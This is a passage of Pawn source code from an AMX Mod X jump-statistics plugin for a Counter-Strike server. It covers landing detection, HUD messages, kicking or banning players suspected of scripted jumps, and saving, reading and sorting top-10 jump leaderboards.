if(!block_checking[0])
jumpblock[id]=tmpjblock[0];
}
else if(tmpjblock[1]!=0 && tmpjblock[1]<=tmpjblock[2] && tmpjblock[0]<=tmpjblock[0])
{
if(!block_checking[1])
jumpblock[id]=tmpjblock[1];
}
else if(tmpjblock[2]!=0 && tmpjblock[2]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[0])
{
if(!block_checking[2])
jumpblock[id]=tmpjblock[2];
}
else jumpblock[id]=0;
if(equali(mapname,"prochallenge_longjump"))
{
jumpblock[id]=jumpblock[id]-1;
}
new h_jof;
if(jofon[id])
{
h_jof=h_speed;
}
else h_jof=4;
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(edgedist[i]!=0.0 && (showjofon[i] || jofon[id]))
{
if(edgedist[i]>5.0)
{
set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
}
else
{
set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
}
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_JOF", edgedist[id]);
}
}
}
}
new Float:checkfall;
if(jump_type[id]==Type_Drop_CountJump)
{
checkfall=0.5;
}
else checkfall=0.4;
if(flags&FL_ONGROUND && firstfall_ground[id]==true && get_gametime()-FallTime1[id]>checkfall)
{
touch_ent[id]=false;
JumpReset(id,26);
dropbhop[id]=false;
ddnum[id]=0;
x_jump[id]=false;
firstfall_ground[id]=false;
in_ladder[id]=false;
nextbhop[id]=false;
bhopaem[id]=false;
UpcjFail[id]=false;
slide_protec[id]=false;
backwards[id]=false;
ladderbug[id]=false;
find_ladder[id]=false;
touch_somthing[id]=false;
duckbhop[id]=false;
dropupcj[id]=false;
ddstandcj[id]=false;
ddforcjafterbhop[id]=false;
ddforcjafterladder[id]=false;
//if(donehook[id]) ColorChat(id, RED, "reset ground %d %f",jump_type[id],get_gametime()-FallTime1[id]);
return FMRES_IGNORED;
}
if(flags&FL_ONGROUND && firstfall_ground[id]==false)
{
FallTime1[id]=get_gametime();
firstfall_ground[id]=true;
}
else if(!(flags&FL_ONGROUND) && firstfall_ground[id]==true)
{
firstfall_ground[id]=false;
}
if(flags&FL_ONGROUND && donehook[id] && hookcheck[id]==false)
{
timeonground[id]=get_gametime();
hookcheck[id]=true;
}
else if(!(flags&FL_ONGROUND) && donehook[id] && hookcheck[id])
{
timeonground[id]=get_gametime()-timeonground[id];
hookcheck[id]=false;
if(timeonground[id]>0.4)
donehook[id]=false;
}
}
}
}
return FMRES_IGNORED;
}
public kick_function(id,j_type_str[])
{
new szReason[64];
formatex(szReason,63,"%L",LANG_SERVER,"UQSTATS_KICKREASON",j_type_str);
emessage_begin( MSG_ONE, SVC_DISCONNECT, _, id );
ewrite_string( szReason );
emessage_end( );
}
public ban_function(id,j_type_str[])
{
new szReason[64];
formatex(szReason,63,"%s_script",j_type_str);
new ban_authid[64];
switch(uq_ban_authid)
{
case 0:
get_user_name(id,ban_authid,63);
case 1:
get_user_ip(id,ban_authid,63,1);
case 2:
get_user_authid(id,ban_authid,63);
}
switch(uq_ban_type)
{
case 0:
{
switch(uq_ban_authid)
{
case 0:
server_cmd("amx_ban %s %d %s",ban_authid,uq_ban_minutes,szReason);
case 1:
server_cmd("amx_addban %s %d %s",ban_authid,uq_ban_minutes,szReason);
case 2:
server_cmd("amx_addban ^"%s^" %d %s",ban_authid,uq_ban_minutes,szReason);
}
}
case 1:
{
if(uq_ban_authid==2)
server_cmd("amx_ban %d ^"%s^" %s",uq_ban_minutes,ban_authid,szReason);
else if(uq_ban_authid==1 && uq_ban_authid==0)
server_cmd("amx_ban %d %s %s",uq_ban_minutes,ban_authid,szReason);
}
}
}
public ScreenShoot(id)
{
id=id-15237;
client_cmd(id,"snapshot");
}
public HamTouch( id, entity )
{
if ( g_alive[id] )
{
static Float:Vvelocity[3];
pev(id, pev_velocity, Vvelocity);
if(!equali(mapname,"slide_gs_longjumps") && !equali(mapname,"b2j_slide_longjumps"))
{
if(g_Jumped[id] && !(pev(id, pev_flags)&FL_ONGROUND) && floatround(Vvelocity[2], floatround_floor) < 0)
{
touch_somthing[id]=true;
}
}
}
}
public fwdTouch(ent, id)
{
static ClassName[32];
if( pev_valid(ent) )
{
pev(ent, pev_classname, ClassName, 31);
}
static ClassName2[32];
if( valid_id(id) )
{
pev(id, pev_classname, ClassName2, 31);
}
if( equali(ClassName2, "player") )
{
if( equali(ClassName, "func_train")
|| equali(ClassName, "func_conveyor")
|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
{
if(valid_id(id))
{
touch_ent[id]=true;
trigger_protection[id]=true;
JumpReset(id,41);
set_task(0.4,"JumpReset1", id);
}
}
}
}
////////////////////////////////////////Save Tops///////////////////////////////////
public save_tops(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1])
{
new profile[128];
formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
TrieSetCell(JumpStat, "sync", tmp_sync[i]);
if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
{
TrieSetCell(JumpStat, "ddbh", tmp_ddbh[i]);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_ddbh[i]);
}
else formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i]);
fputs(f, Data);
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
TrieSetCell(JData, tmp_type, JumpStat);
}
fclose(f);
}
public save_tops_block(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1])
{
new profile[128];
formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "block", tmp_block[i]);
TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_250", type, i);
TrieSetCell(JData_Block, tmp_type, JumpStat);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i]);
fputs(f, Data);
}
fclose(f);
}
public save_tops_block_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1],tmp_weap_name[NTOP+1][33])
{
new profile[128];
formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "block", tmp_block[i]);
TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData_Block, tmp_type, JumpStat);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^" ^"%s^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i],tmp_weap_name[i]);
fputs(f, Data);
}
fclose(f);
}
public save_tops_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_weap_name[NTOP+1][33])
{
new profile[128];
formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
new Trie:JumpStat;
JumpStat = TrieCreate();
TrieSetString(JumpStat, "name", tmp_names[i]);
TrieSetString(JumpStat, "authid", tmp_ip[i]);
TrieSetCell(JumpStat, "distance", tmp_distance[i]);
TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
TrieSetCell(JumpStat, "sync", tmp_sync[i]);
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
new tmp_type[33];
format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData, tmp_type, JumpStat);
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_weap_name[i]);
fputs(f, Data);
}
fclose(f);
}
public save_maptop()
{
new profile[128];
formatex(profile, 127, "%s/Top10_maptop.dat", ljsDir);
if( file_exists(profile) )
{
delete_file(profile);
}
new Data[256];
new f = fopen(profile, "at");
for(new i = 0; i < NTOP; i++)
{
formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",map_names[i],map_ip[i], map_dist[i],map_maxsped[i],map_prestr[i],map_streif[i],map_syncc[i],map_type[i]);
fputs(f, Data);
}
fclose(f);
}
////////////////////////////////////////Read Tops///////////////////////////////////
public read_tops(type[],type_num)
{
new profile[128],prodata[256];
formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
new tmp_names[33],tmp_ip[33];
new f = fopen(profile, "rt" );
new i = 0;
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], m[25], p[25], sf[25],s[25];
new duk[25];
if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
{
parse(prodata, tmp_names, 32, tmp_ip, 32, d, 25, m, 25, p, 25, sf, 25,s, 25, duk, 25);
}
else
{
parse(prodata, tmp_names, 32, tmp_ip, 32, d, 25, m, 25, p, 25, sf, 25,s, 25);
}
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
TrieSetCell(JumpStat, "strafes", str_to_num(sf));
TrieSetCell(JumpStat, "sync", str_to_num(s));
if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
{
TrieSetCell(JumpStat, "ddbh", str_to_num(duk));
}
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
TrieSetCell(JData, tmp_type, JumpStat);
i++;
}
fclose(f);
}
public read_tops_block(type[],type_num)
{
new profile[128],prodata[256];
if(type_num==6)
{
formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block);
}
else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
new tmp_names[33],tmp_ip[33];
new f = fopen(profile, "rt" );
new i = 0;
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], b[25], j[25];
parse(prodata, tmp_names, 32, tmp_ip, 32, b, 25, d, 25, j, 25);
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetCell(JumpStat, "block", str_to_num(b));
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
new tmp_type[33];
if(type_num==6)
{
format(tmp_type, 32, "block_hj_%d_250", i);
}
else format(tmp_type, 32, "block_%s_%d_250", type, i);
TrieSetCell(JData_Block, tmp_type, JumpStat);
i++;
}
fclose(f);
}
public read_tops_block_weapon(type[],type_num,wpn_rank)
{
new profile[128],prodata[256];
if(type_num==9)
{
formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block_weapon[wpn_rank]);
}
else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
new f = fopen(profile, "rt" );
new i = 0;
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], b[25], j[25];
parse(prodata, tmp_names, 32, tmp_ip, 32, b, 25, d, 25, j, 25,tmp_weap_name,32);
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetCell(JumpStat, "block", str_to_num(b));
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData_Block, tmp_type, JumpStat);
i++;
}
fclose(f);
}
public read_tops_weapon(type[],type_num,wpn_rank)
{
new profile[128],prodata[256];
formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);
new f = fopen(profile, "rt" );
new i = 0;
new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
while( !feof(f) && i < (NTOP))
{
new Trie:JumpStat;
JumpStat = TrieCreate();
fgets(f, prodata, 255);
new d[25], m[25], p[25], sf[25],s[25];
parse(prodata, tmp_names, 32, tmp_ip, 32, d, 25, m, 25, p, 25, sf, 25,s, 25,tmp_weap_name,32);
TrieSetString(JumpStat, "name", tmp_names);
TrieSetString(JumpStat, "authid", tmp_ip);
TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
TrieSetCell(JumpStat, "distance", str_to_num(d));
TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
TrieSetCell(JumpStat, "strafes", str_to_num(sf));
TrieSetCell(JumpStat, "sync", str_to_num(s));
TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
new tmp_type[33];
format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
TrieSetCell(JData, tmp_type, JumpStat);
i++;
}
fclose(f);
}
////////////////////////////////////////Sort Tops///////////////////////////////////
public checktops1(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s)
{
new d,m,p,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
if(TrieKeyExists(JData, tmp_type))
{
TrieGetCell(JData, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
TrieGetCell(JS, "strafes", tmp_strafes[i]);
TrieGetCell(JS, "sync", tmp_sync[i]);
}
//server_print("%s",tmp_ip[i]);
}
for (new i = 0; i < NTOP; i++)
{
if( d > tmp_distance[i] )
{
new pos = i;
while( !equali(tmp_ip[pos], rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_maxspeed[j] = tmp_maxspeed[j-1];
tmp_prestrafe[j] = tmp_prestrafe[j-1];
tmp_strafes[j] = tmp_strafes[j-1];
tmp_sync[j] = tmp_sync[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
tmp_distance[i]=d;
tmp_maxspeed[i] = m;
tmp_prestrafe[i] = p;
tmp_strafes[i] = sf;
tmp_sync[i] = s;
new tmp_ddbh[NTOP+1];
save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops2(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,duk)
{
new d,m,p,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "%s_%d_250", type, i);
if(TrieKeyExists(JData, tmp_type))
{
TrieGetCell(JData, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
TrieGetCell(JS, "strafes", tmp_strafes[i]);
TrieGetCell(JS, "sync", tmp_sync[i]);
TrieGetCell(JS, "ddbh", tmp_ddbh[i]);
}
}
for (new i = 0; i < NTOP; i++)
{
if( d > tmp_distance[i] )
{
new pos = i;
while( !equali(tmp_ip[pos], rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_maxspeed[j] = tmp_maxspeed[j-1];
tmp_prestrafe[j] = tmp_prestrafe[j-1];
tmp_strafes[j] = tmp_strafes[j-1];
tmp_sync[j] = tmp_sync[j-1];
tmp_ddbh[j] = tmp_ddbh[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
tmp_distance[i]=d;
tmp_maxspeed[i] = m;
tmp_prestrafe[i] = p;
tmp_strafes[i] = sf;
tmp_sync[i] = s;
tmp_ddbh[i] = duk;
save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops_block(id,type[],type_num,Float:dd,Float:jj,bb)
{
new d,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_250", type, i);
if(TrieKeyExists(JData_Block, tmp_type))
{
TrieGetCell(JData_Block, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "block", tmp_block[i]);
TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
}
}
new tmp_dist;
for (new j = 0; j < NTOP; j++)
{
if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
{
tmp_dist=tmp_distance[j];
break;
}
else tmp_dist=0;
}
for (new i = 0; i < NTOP; i++)
{
if( bb >= tmp_block[i] && d>tmp_dist)
{
new pos = i;
while( !equali(tmp_ip[pos],rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_block[j] = tmp_block[j-1];
tmp_jumpoff[j] = tmp_jumpoff[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
tmp_distance[i]=d;
tmp_block[i] = bb;
tmp_jumpoff[i] = jj;
new oldBlock,start_array;
oldBlock=tmp_block[0];
start_array=0;
for (new ii = 0; ii < NTOP; ii++)
{
if(tmp_block[ii]!=oldBlock)
{
new bool:check=true;
while(check)
{
check=false;
for(new jjj=start_array;jjj<ii-1;jjj++)
{
if(tmp_distance[jjj]<tmp_distance[jjj+1])
{
new buf1;
buf1=tmp_distance[jjj];
tmp_distance[jjj]=tmp_distance[jjj+1];
tmp_distance[jjj+1]=buf1;
new Float:buf2;
buf2=tmp_jumpoff[jjj];
tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
tmp_jumpoff[jjj+1]=buf2;
new buf3[33];
formatex(buf3,32,tmp_names[jjj]);
formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
formatex(tmp_names[jjj+1],32,buf3);
formatex(buf3,32,tmp_ip[jjj]);
formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
formatex(tmp_ip[jjj+1],32,buf3);
check=true;
}
}
}
start_array=ii;
}
oldBlock=tmp_block[ii];
}
save_tops_block(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff);
for (new j = 0; j < NTOP; j++)
{
if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
{
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP2",prefix,g_playername[id],(j+1),type,bb);
}
}
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops_block_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:jj,bb,wpn_name[])
{
new d,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
if(TrieKeyExists(JData_Block, tmp_type))
{
TrieGetCell(JData_Block, tmp_type, JS);
TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "block", tmp_block[i]);
TrieGetCell(JS, "jumpoff", tmp_jumpoff[i]);
TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
}
}
new tmp_dist;
for (new j = 0; j < NTOP; j++)
{
if(bb==tmp_block[j] && equali(tmp_ip[j],rb))
{
tmp_dist=tmp_distance[j];
break;
}
else tmp_dist=0;
}
for (new i = 0; i < NTOP; i++)
{
if( bb >= tmp_block[i] && d>tmp_dist)
{
new pos = i;
while( !equali(tmp_ip[pos],rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_block[j] = tmp_block[j-1];
tmp_jumpoff[j] = tmp_jumpoff[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
formatex(tmp_weap_name[i], 32, wpn_name);
tmp_distance[i]=d;
tmp_block[i] = bb;
tmp_jumpoff[i] = jj;
new oldBlock,start_array;
oldBlock=tmp_block[0];
start_array=0;
for (new ii = 0; ii < NTOP; ii++)
{
if(tmp_block[ii]!=oldBlock)
{
new bool:check=true;
while(check)
{
check=false;
for(new jjj=start_array;jjj<ii-1;jjj++)
{
if(tmp_distance[jjj]<tmp_distance[jjj+1])
{
new buf1;
buf1=tmp_distance[jjj];
tmp_distance[jjj]=tmp_distance[jjj+1];
tmp_distance[jjj+1]=buf1;
new Float:buf2;
buf2=tmp_jumpoff[jjj];
tmp_jumpoff[jjj]=tmp_jumpoff[jjj+1];
tmp_jumpoff[jjj+1]=buf2;
new buf3[33];
formatex(buf3,32,tmp_names[jjj]);
formatex(tmp_names[jjj],32,tmp_names[jjj+1]);
formatex(tmp_names[jjj+1],32,buf3);
formatex(buf3,32,tmp_ip[jjj]);
formatex(tmp_ip[jjj],32,tmp_ip[jjj+1]);
formatex(tmp_ip[jjj+1],32,buf3);
formatex(buf3,32,tmp_weap_name[jjj]);
formatex(tmp_weap_name[jjj],32,tmp_weap_name[jjj+1]);
formatex(tmp_weap_name[jjj+1],32,buf3);
check=true;
}
}
}
start_array=ii;
}
oldBlock=tmp_block[ii];
}
save_tops_block_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_block,tmp_jumpoff,tmp_weap_name);
for (new j = 0; j < NTOP; j++)
{
if(d==tmp_distance[j] && equali(tmp_ip[j],rb))
{
client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP3",prefix,g_playername[id],(j+1),type,pev_max_speed,bb);
}
}
if((i+1)<11 && uq_screen==1)
{
set_task(0.1,"ScreenShoot", id+15237);
}
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
}
public checktops_weapon(id,pev_max_speed,wpn_rank,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,wpn_name[])
{
new d,m,p,rb[64];
d=floatround(dd*1000000);
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
new tmp_weap_name[NTOP+1][33],tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_wpnrank[NTOP+1];
for (new i = 0; i < NTOP; i++)
{
new Trie:JS;
new tmp_type[33];
format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
if(TrieKeyExists(JData, tmp_type))
{
TrieGetCell(JData, tmp_type, JS);
